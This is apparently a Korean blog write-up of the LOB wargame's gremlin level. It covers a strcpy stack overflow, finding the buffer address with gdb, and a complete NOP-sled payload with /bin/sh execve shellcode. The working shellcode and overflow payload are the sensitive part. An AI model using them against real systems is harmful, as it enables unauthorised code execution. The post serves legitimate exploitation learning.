728x90

gate _gremlin 문제다.

 우선 shell코드를 복붙하기 위해 putty를 사용하고, 내가 사용한 shellcode는 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

이다. shellcode 는 다른글에서 짜는 과정을 기술하겠다.

 

1번의 스택을 보면 

1번 이미지

이렇게 구성되어 있다.(크기를 어떻게 구하는지 알고는 있는데 이 방법이 최적의 방법인지 모르겠다.. 더 공부해야할듯)

 

풀이 방향은 buffer의 시작주소를 알아낸 다음 buffer중간에 shell코드를 넣고 ret부분에 buffer의 시작주소를 넣을 것이다.

 

일단 buffer의 시작주소를 알아보기 위해서 gremlin.c 파일을 읽어보자.

 

2번 이미지

int argc, char *argv[] main함수는 구글링하니깐 strcpy함수로 알려져있고, 이 함수의 취약점은 크기를 고려하지 않고 

그대로 복붙한다는 것이다. 따라서 overflow방법을 사용할 수 있다.

 

이제 gremlin.c파일을 컴파일해서 어셈으로 헤쳐볼것이다.

이름은 gremlil로 하여서 컴파일하였고, intel 방식으로 main함수를 헤쳤다.

3번 이미지

strcpy함수를 부르기 직전의 주소로 break를 걸고, 코드를 일정한 문자로 채워서 buffer의 시작점을 찾아보자.

4번 이미지

내가 여기서 많이 어려움을 겪었는데, 포너블을 처음 하는거라 명령어 형식을 잘 몰라 ` 와 ' 을 구분하지 않고 적었었다..

r `python -c 'print "a"*260'` 이와 같은 형식으로 적어야하고, 띄어쓰기 또한 철저하게 지켜야 한다.

다음 breakpoint근처의 hex값을 보면 어디서부터 일정한 문자가 들어갔는지 알 수 있다.

따라서, buffer의 시작점주소는 0xbffff968이다.

 

이제 shell코드와 buffer시작주소를 알았으니 페이로드만 작성하면 끝난다.

./gremlin `python -c 'print "\x90"*200+"shellcode"+"\x90"*36+"buffer 시작주소"'`

여기서 buffer시작주소를 입력할때, 스택의 읽기방식을 고려하여서 역순으로 2개씩 넣어준다.

최종 페이로드는 

./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+\x90"*36+"\x68\xf9\xff\xbf"'` 이다.

5번 이미지

여기서 bash2명령어를 사용하여야 답이 나오는데, 아직 구체적인 이유는 알지 못했다. 나중에 알게되면 수정예정

또한 위의 1번 이미지에 따라서 236바이트의 \x90값을 넣고 남은 24바이트 공간에 shellcode를 넣으면 왜 안되는지 잘 모르겠다. 아마 내 짐작으로는 내가 구한 buffer주소가 부정확한것 같다.

//////////////////////////////////////////////////////////////////////////////////////////////////////////

그리고 주소를 구할때 쓴 코드 x/24x에서 24x는 24개의 word를 뜻하고, 1word=4byte이다.

하나의 주소안에 들어있는 hex값의 주소는 16바이트를 4개로 나눈 4바이트 간격이다/.

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12

+ Recent posts